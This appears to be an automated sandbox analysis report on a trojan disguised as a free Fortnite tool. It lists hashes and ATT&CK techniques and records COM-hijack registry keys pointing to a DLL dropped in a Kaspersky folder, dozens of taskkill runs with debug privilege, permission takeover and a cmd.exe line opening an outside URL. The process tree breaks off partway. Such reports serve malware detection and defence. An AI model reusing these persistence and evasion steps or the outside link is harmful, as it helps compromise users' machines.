1bf03c02ed6d1928a698bbc448e515e03099b3c6af356a863dbfd59d7736f6e2

Analysis

user interaction
yes
max time kernel
42s
max time network
41s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
09/11/2026, 16:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Saryx Free Fortnite.exe
Size 467KB
Sample261109-vhn4mastgs
SHA256 1bf03c02ed6d1928a698bbc448e515e03099b3c6af356a863dbfd59d7736f6e2
MD5 99c93db31fc7b6770f028739ff1b7a6b
SHA1 acb2a7eea2abda987d43ed0208ce040fcbdf325f
SHA512 f15b6133825d6040527cb36ca40336b37a32dd1613dec6a5e38abf3adf9c218865d02ab99a5a0f3fc871f68fe4b41452ecc76ebc7a408500d5439e6af45855a7
SSDEEP 6144:JM6AUQIB7TplUxP1VPlFHpCjnp5JAkauKyFFixFv6o0skhSqRtGLcxQfSz:WdxZqNAxL8oFv6o0pGL
TLSH
T121A47C16FAA904FAE1B6A474C8735507FA327C590720AADF23E0495A1F73FD09A3E711
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution exploit persistence privilege_escalation

Malware Config

Signatures

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
5196	takeown.exe
5752	icacls.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Loads dropped DLL 1 IoCs

pid	Process
2112	Process not Found

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5196	takeown.exe
5752	icacls.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Kaspersky Lab\Kaspersky Antivirus 21.3\office_antivirus.dll	Saryx Free Fortnite.exe
File opened for modification	C:\Program Files (x86)\Kaspersky Lab	Saryx Free Fortnite.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 56 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4952	cmd.exe
5300	cmd.exe
5612	cmd.exe
5844	cmd.exe
5812	cmd.exe
4280	cmd.exe
5960	cmd.exe
5416	cmd.exe
5500	cmd.exe
5816	cmd.exe
5848	cmd.exe
3772	cmd.exe
5624	cmd.exe
5760	cmd.exe
5948	cmd.exe
5640	cmd.exe
3484	cmd.exe
3592	cmd.exe
1152	cmd.exe
5988	cmd.exe
2060	cmd.exe
5520	cmd.exe
6100	cmd.exe
5820	cmd.exe
2832	cmd.exe
5936	cmd.exe
6004	cmd.exe
5604	cmd.exe
5492	cmd.exe
2588	cmd.exe
3360	cmd.exe
5876	cmd.exe
2268	cmd.exe
5476	cmd.exe
5548	cmd.exe
2980	cmd.exe
5904	cmd.exe
5660	cmd.exe
5372	cmd.exe
4756	cmd.exe
4908	cmd.exe
3444	cmd.exe
3688	cmd.exe
212	cmd.exe
5380	cmd.exe
5800	cmd.exe
5444	cmd.exe
5748	cmd.exe
5460	cmd.exe
5588	cmd.exe
5924	cmd.exe
5368	cmd.exe
2500	cmd.exe
4444	cmd.exe
5448	cmd.exe
5956	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Saryx Free Fortnite.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Saryx Free Fortnite.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5368	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4940	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Kills process with taskkill 43 IoCs

defense_evasion

pid	Process
6060	taskkill.exe
5308	taskkill.exe
5928	taskkill.exe
5480	taskkill.exe
5664	taskkill.exe
5544	taskkill.exe
5956	taskkill.exe
1788	taskkill.exe
5508	taskkill.exe
5616	taskkill.exe
5968	taskkill.exe
5672	taskkill.exe
5888	taskkill.exe
5784	taskkill.exe
5412	taskkill.exe
5668	taskkill.exe
5824	taskkill.exe
6020	taskkill.exe
5840	taskkill.exe
5452	taskkill.exe
5480	taskkill.exe
6132	taskkill.exe
5692	taskkill.exe
5692	taskkill.exe
5304	taskkill.exe
6020	taskkill.exe
5840	taskkill.exe
5648	taskkill.exe
5640	taskkill.exe
5856	taskkill.exe
5608	taskkill.exe
5792	taskkill.exe
5396	taskkill.exe
5964	taskkill.exe
5868	taskkill.exe
2880	taskkill.exe
5804	taskkill.exe
1788	taskkill.exe
5812	taskkill.exe
5664	taskkill.exe
5372	taskkill.exe
5304	taskkill.exe
5628	taskkill.exe

Modifies registry class 17 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4B770032-31CA-43B1-AB0D-32C5FE2F82FA}\InprocServer32	Saryx Free Fortnite.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{57C3D834-F47B-46BA-9924-83C2873B0686}	Saryx Free Fortnite.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{57C3D834-F47B-46BA-9924-83C2873B0686}\ = "OA_ComAntivirus Class"	Saryx Free Fortnite.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{57C3D834-F47B-46BA-9924-83C2873B0686}\InprocServer32\ = "C:\\Program Files (x86)\\Kaspersky Lab\\Kaspersky Antivirus 21.3\\office_antivirus.dll"	Saryx Free Fortnite.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4B770032-31CA-43B1-AB0D-32C5FE2F82FA}	Saryx Free Fortnite.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4B770032-31CA-43B1-AB0D-32C5FE2F82FA}\Version	Saryx Free Fortnite.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4B770032-31CA-43B1-AB0D-32C5FE2F82FA}\Version\ = "1.0"	Saryx Free Fortnite.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-895009113-1202185046-1686627690-1000\{72BC3935-E7CA-4594-B1DC-AEF1BAD65AD2}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{57C3D834-F47B-46BA-9924-83C2873B0686}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}	Saryx Free Fortnite.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4B770032-31CA-43B1-AB0D-32C5FE2F82FA}\InprocServer32\ThreadingModel = "Both"	Saryx Free Fortnite.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{57C3D834-F47B-46BA-9924-83C2873B0686}\InprocServer32	Saryx Free Fortnite.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{57C3D834-F47B-46BA-9924-83C2873B0686}\Version\ = "1.0"	Saryx Free Fortnite.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4B770032-31CA-43B1-AB0D-32C5FE2F82FA}\ = "AMSI_ComAntivirus Class"	Saryx Free Fortnite.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4B770032-31CA-43B1-AB0D-32C5FE2F82FA}\InprocServer32\ = "C:\\Program Files (x86)\\Kaspersky Lab\\Kaspersky Antivirus 21.3\\office_antivirus.dll"	Saryx Free Fortnite.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{57C3D834-F47B-46BA-9924-83C2873B0686}\Implemented Categories	Saryx Free Fortnite.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{57C3D834-F47B-46BA-9924-83C2873B0686}\InprocServer32\ThreadingModel = "Apartment"	Saryx Free Fortnite.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{57C3D834-F47B-46BA-9924-83C2873B0686}\Version	Saryx Free Fortnite.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 15 IoCs

pid	Process
1620	msedge.exe
1620	msedge.exe
1620	msedge.exe
1620	msedge.exe
1620	msedge.exe
1620	msedge.exe
1620	msedge.exe
1620	msedge.exe
1620	msedge.exe
1620	msedge.exe
1620	msedge.exe
1620	msedge.exe
1620	msedge.exe
1620	msedge.exe
1620	msedge.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	5544	taskkill.exe
Token: SeDebugPrivilege	5640	taskkill.exe
Token: SeDebugPrivilege	5804	taskkill.exe
Token: SeDebugPrivilege	5956	taskkill.exe
Token: SeDebugPrivilege	6060	taskkill.exe
Token: SeDebugPrivilege	1788	taskkill.exe
Token: SeDebugPrivilege	5508	taskkill.exe
Token: SeDebugPrivilege	5480	taskkill.exe
Token: SeDebugPrivilege	5856	taskkill.exe
Token: SeDebugPrivilege	5968	taskkill.exe
Token: SeDebugPrivilege	6132	taskkill.exe
Token: SeDebugPrivilege	5672	taskkill.exe
Token: SeDebugPrivilege	1788	taskkill.exe
Token: SeDebugPrivilege	5308	taskkill.exe
Token: SeDebugPrivilege	5692	taskkill.exe
Token: SeDebugPrivilege	5888	taskkill.exe
Token: SeDebugPrivilege	5812	taskkill.exe
Token: SeDebugPrivilege	5664	taskkill.exe
Token: SeDebugPrivilege	5372	taskkill.exe
Token: SeDebugPrivilege	6020	taskkill.exe
Token: SeDebugPrivilege	5608	taskkill.exe
Token: SeDebugPrivilege	5824	taskkill.exe
Token: SeDebugPrivilege	5784	taskkill.exe
Token: SeDebugPrivilege	5792	taskkill.exe
Token: SeDebugPrivilege	5412	taskkill.exe
Token: SeDebugPrivilege	5840	taskkill.exe
Token: SeDebugPrivilege	5616	taskkill.exe
Token: SeDebugPrivilege	5928	taskkill.exe
Token: SeDebugPrivilege	5396	taskkill.exe
Token: SeDebugPrivilege	5692	taskkill.exe
Token: SeDebugPrivilege	5964	taskkill.exe
Token: SeDebugPrivilege	5648	taskkill.exe
Token: SeDebugPrivilege	6020	taskkill.exe
Token: SeDebugPrivilege	5840	taskkill.exe
Token: SeDebugPrivilege	5304	taskkill.exe
Token: SeDebugPrivilege	5452	taskkill.exe
Token: SeDebugPrivilege	5668	taskkill.exe
Token: SeDebugPrivilege	5480	taskkill.exe
Token: SeDebugPrivilege	5628	taskkill.exe
Token: SeDebugPrivilege	5664	taskkill.exe
Token: SeDebugPrivilege	5868	taskkill.exe
Token: SeDebugPrivilege	5304	taskkill.exe
Token: SeDebugPrivilege	2880	taskkill.exe
Token: SeTakeOwnershipPrivilege	5196	takeown.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
1620	msedge.exe
1620	msedge.exe
1620	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4464 wrote to memory of 4908	4464	Saryx Free Fortnite.exe	87
PID 4908 wrote to memory of 3224	4908	cmd.exe	88
PID 4464 wrote to memory of 3772	4464	Saryx Free Fortnite.exe	90
PID 3224 wrote to memory of 1620	3224	msedge.exe	91
PID 1620 wrote to memory of 4592	1620	msedge.exe	92
PID 1620 wrote to memory of 4940	1620	msedge.exe	93
PID 1620 wrote to memory of 3332	1620	msedge.exe	94
PID 1620 wrote to memory of 3332	1620	msedge.exe	94
PID 1620 wrote to memory of 3332	1620	msedge.exe	94
PID 1620 wrote to memory of 704	1620	msedge.exe	95
PID 1620 wrote to memory of 704	1620	msedge.exe	95
PID 1620 wrote to memory of 3012	1620	msedge.exe	97
PID 1620 wrote to memory of 3012	1620	msedge.exe	97
PID 1620 wrote to memory of 3012	1620	msedge.exe	97
PID 1620 wrote to memory of 1284	1620	msedge.exe	98
PID 1620 wrote to memory of 1284	1620	msedge.exe	98
PID 1620 wrote to memory of 1284	1620	msedge.exe	98
PID 1620 wrote to memory of 2444	1620	msedge.exe	99
PID 1620 wrote to memory of 4988	1620	msedge.exe	100
PID 1620 wrote to memory of 2444	1620	msedge.exe	99
PID 1620 wrote to memory of 2444	1620	msedge.exe	99
PID 1620 wrote to memory of 4988	1620	msedge.exe	100
PID 1620 wrote to memory of 4988	1620	msedge.exe	100
PID 3772 wrote to memory of 1988	3772	cmd.exe	101
PID 1620 wrote to memory of 1244	1620	msedge.exe	102
PID 1620 wrote to memory of 1244	1620	msedge.exe	102
PID 1620 wrote to memory of 1244	1620	msedge.exe	102
PID 1620 wrote to memory of 4280	1620	msedge.exe	103
PID 1620 wrote to memory of 4280	1620	msedge.exe	103
PID 4464 wrote to memory of 2268	4464	Saryx Free Fortnite.exe	104
PID 1620 wrote to memory of 2588	1620	msedge.exe	107
PID 1620 wrote to memory of 2588	1620	msedge.exe	107
PID 2268 wrote to memory of 4480	2268	cmd.exe	108
PID 1620 wrote to memory of 3564	1620	msedge.exe	109
PID 1620 wrote to memory of 3564	1620	msedge.exe	109
PID 1620 wrote to memory of 3564	1620	msedge.exe	109
PID 4464 wrote to memory of 2500	4464	Saryx Free Fortnite.exe	110
PID 2500 wrote to memory of 2368	2500	cmd.exe	112
PID 1620 wrote to memory of 1052	1620	msedge.exe	113
PID 1620 wrote to memory of 1052	1620	msedge.exe	113
PID 1620 wrote to memory of 1052	1620	msedge.exe	113
PID 4464 wrote to memory of 4444	4464	Saryx Free Fortnite.exe	114
PID 4444 wrote to memory of 3712	4444	cmd.exe	115
PID 1620 wrote to memory of 2712	1620	msedge.exe	116
PID 1620 wrote to memory of 2712	1620	msedge.exe	116
PID 1620 wrote to memory of 2712	1620	msedge.exe	116
PID 4464 wrote to memory of 2832	4464	Saryx Free Fortnite.exe	117
PID 2832 wrote to memory of 4772	2832	cmd.exe	118
PID 1620 wrote to memory of 1528	1620	msedge.exe	119
PID 1620 wrote to memory of 1528	1620	msedge.exe	119
PID 1620 wrote to memory of 1528	1620	msedge.exe	119
PID 4464 wrote to memory of 3484	4464	Saryx Free Fortnite.exe	120
PID 3484 wrote to memory of 3228	3484	cmd.exe	133
PID 1620 wrote to memory of 3460	1620	msedge.exe	122
PID 1620 wrote to memory of 3460	1620	msedge.exe	122
PID 1620 wrote to memory of 3460	1620	msedge.exe	122
PID 4464 wrote to memory of 3592	4464	Saryx Free Fortnite.exe	123
PID 3592 wrote to memory of 1152	3592	cmd.exe	136
PID 4464 wrote to memory of 3444	4464	Saryx Free Fortnite.exe	127
PID 1620 wrote to memory of 3800	1620	msedge.exe	128
PID 1620 wrote to memory of 3800	1620	msedge.exe	128
PID 1620 wrote to memory of 3800	1620	msedge.exe	128
PID 1620 wrote to memory of 3780	1620	msedge.exe	129
PID 1620 wrote to memory of 3868	1620	msedge.exe	130

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5908	attrib.exe
3508	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Saryx Free Fortnite.exe
"C:\Users\Admin\AppData\Local\Temp\Saryx Free Fortnite.exe"
1⤵
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://sneakinghalfbakedcucumber.com/xsu527pe?key=5cfd72bea2199ce3a23515a135906edc
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4908
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://sneakinghalfbakedcucumber.com/xsu527pe?key=5cfd72bea2199ce3a23515a135906edc
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3224
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --edge-skip-compat-layer-relaunch --single-argument https://sneakinghalfbakedcucumber.com/xsu527pe?key=5cfd72bea2199ce3a23515a135906edc
      4⤵
      Checks processor information in registry
      Enumerates system info in registry
      Modifies registry class
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:1620
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x238,0x23c,0x230,0x2ec,0x7ffc4beac188,0x7ffc4beac194,0x7ffc4beac1a0
        5⤵
        
        PID:4592
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1896,i,8615320408780099268,3379388907731919329,524288 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=2336 /prefetch:3
        5⤵
        System Time Discovery
        
        PID:4940
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1768,i,6356459341260338708,5235925838405032022,262144 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=2288 /prefetch:2
        5⤵
        
        PID:3332
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2612,i,4881462473201794619,16932280415274186955,524288 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=2620 /prefetch:8
        5⤵
        
        PID:704
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3412,i,7478793396335552385,88890740945794991,2097152 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=3452 /prefetch:1
        5⤵
        
        PID:3012
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3416,i,15412137946375495502,5742545887064989367,2097152 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=3472 /prefetch:1
        5⤵
        
        PID:1284
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4172,i,1751605789178601725,5534967764767056887,2097152 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=4272 /prefetch:1
        5⤵
        
        PID:2444
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4268,i,7620445227598386221,12614330619761441734,2097152 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=3392 /prefetch:2
        5⤵
        
        PID:4988
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=5100,i,11553331149735292483,12238443148045506868,2097152 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=5112 /prefetch:1
        5⤵
        
        PID:1244
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5240,i,14465686944779053526,12330048493324187885,524288 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=5228 /prefetch:8
        5⤵
        
        PID:4280
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5416,i,5336312316093251987,8315876511901369134,524288 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=5428 /prefetch:8
        5⤵
        
        PID:2588
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=5572,i,12310085034941213225,1249457472379867706,2097152 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=5584 /prefetch:1
        5⤵
        
        PID:3564
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=5808,i,16307199395923749199,15135584543704642244,2097152 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=5752 /prefetch:1
        5⤵
        
        PID:1052
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=5968,i,11999964511592947601,12197517502666114642,2097152 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=5944 /prefetch:1
        5⤵
        
        PID:2712
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=6108,i,9551773933451593779,14138583367211030779,2097152 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=6128 /prefetch:1
        5⤵
        
        PID:1528
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=6320,i,12389129419249809231,12031739403769411163,2097152 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=6328 /prefetch:1
        5⤵
        
        PID:3460
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=6476,i,5890909821478169233,1017976695382150941,2097152 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=6456 /prefetch:1
        5⤵
        
        PID:3800
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6500,i,10536243411516878186,6441363409530796505,524288 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=6696 /prefetch:8
        5⤵
        
        PID:3780
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6628,i,17416554844659521448,12403698944609022771,524288 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=6720 /prefetch:8
        5⤵
        
        PID:3868
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
